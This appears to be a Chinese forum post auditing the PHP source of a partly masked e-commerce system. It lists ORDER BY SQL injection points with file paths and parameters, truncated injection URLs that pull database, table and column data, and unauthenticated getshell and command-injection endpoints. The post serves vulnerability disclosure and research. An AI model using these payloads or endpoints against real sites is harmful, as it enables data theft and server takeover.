【PHP代码审计】TP****多个漏洞集合

phpoop / 2017-12-01 11:35:00 / 浏览数 5861 新手 入门资料 顶(0) 踩(0)

0x00 前言

这个系统的漏洞也是放了很久了,这几天逛T00Is发现给人家爆出来了。。爆出来了。我也一次性爆完把=-=,有和T00Is论坛的那个哥们重复的纯属正常。

防止说我是照抄的,引起不好影响,下面那图是我审计的时候上传的时间,来证明一下,引起误会就不好了。

0x03 正文

注入篇

漏洞1:前台sql注入 order by注入

文件地址:application/home/controller/Goods.php

URL地址: http://xx.com/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/desc

问题函数:goodsList()

问题参数_1:\$sort = I('get.sort','goods_id');//排序 问题参数_2:\$sort_asc = I('get.sort_asc','asc');//排序

因为是order by 的注入所以要利用一些平时用不到的sql语句

爆当前库名:

爆此mysql库的总数:

http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 8138 FROM (SELECT 2*(IF((SELECT * FROM (SELECT * FROM (SELE

爆某个库的名称:

http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 4362 FROM (SELECT 2*(IF((SELECT * FROM (SELECT * FROM (SELE

获取某个库表的总数:

http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 8139 FROM (SELECT 2*(IF((SELECT * FROM (SELECT * FROM (SELE

获取某个库每个表的表名:

http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 3572 FROM (SELECT 2*(IF((SELECT * FROM (SELECT * FROM (SELE

获取某个表的字段总数:

http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 1965 FROM (SELECT 2*(IF((SELECT * FROM (SELECT * FROM (SELE

获取某个表 某个字段名称:

http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 3302 FROM (SELECT 2*(IF((SELECT * FROM (SELECT)

获取某库某表某字段数据:

http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 2857 FROM (SELECT 2*(IF((SELECT * FROM (SELECT * FROM (SELE

漏洞2:前台sql注入 order by注入

文件地址:application/home/controller/Goods.php

URL地址: http://xx.com/index.php/Home/Goods/search/q/a/sort/sales_sum

问题函数:search()

问题参数_1:\$sort = I('get.sort','goods_id');//排序 问题参数_2:\$sort_asc = I('get.sort_asc','asc');//排序

漏洞3:前台sql注入 order by注入

文件地址:application\mobile\controller\Goods.php

URL地址: http://xx.com/index.php/Mobile/Goods/goodsList/id/1/sort_asc/desc

问题函数:goodsList()

问题参数_1:\$sort = I('get.sort','goods_id');//排序 问题参数_2:\$sort_asc = I('get.sort_asc','asc');//排序

漏洞3:前台sql注入 order by注入

文件地址:application\mobile\controller\Goods.php

URL地址: http://xx.com/index.php/Mobile/Goods/search/id/0/q/小米/sort/shop_price

问题函数:search()

问题参数_1:\$sort = I('get.sort','goods_id'); // 排序 问题参数_2:\$sort_asc = I('get.sort_asc','asc'); // 排序

前后台getshell篇

漏洞1:前台无限制getshell漏洞

文件地址: application/home/controller/Test.php URL地址: http://xx.com/index.php/Home/test/dlfile

问题函数:dlfile()

漏洞2:前台无限制getshell漏洞

文件地址:application/home/controller/Uploadify.php URL地址:http://xx.com/index.php/Home/Uploadify/preview

问题函数:preview()

漏洞3:后台有限制 命令注入 漏洞

文件地址:application\admin\controller\Plugin.php
URL地址: http://xx.com/index.php/Admin/Plugin/add_shipping

问题函数:add_shipping
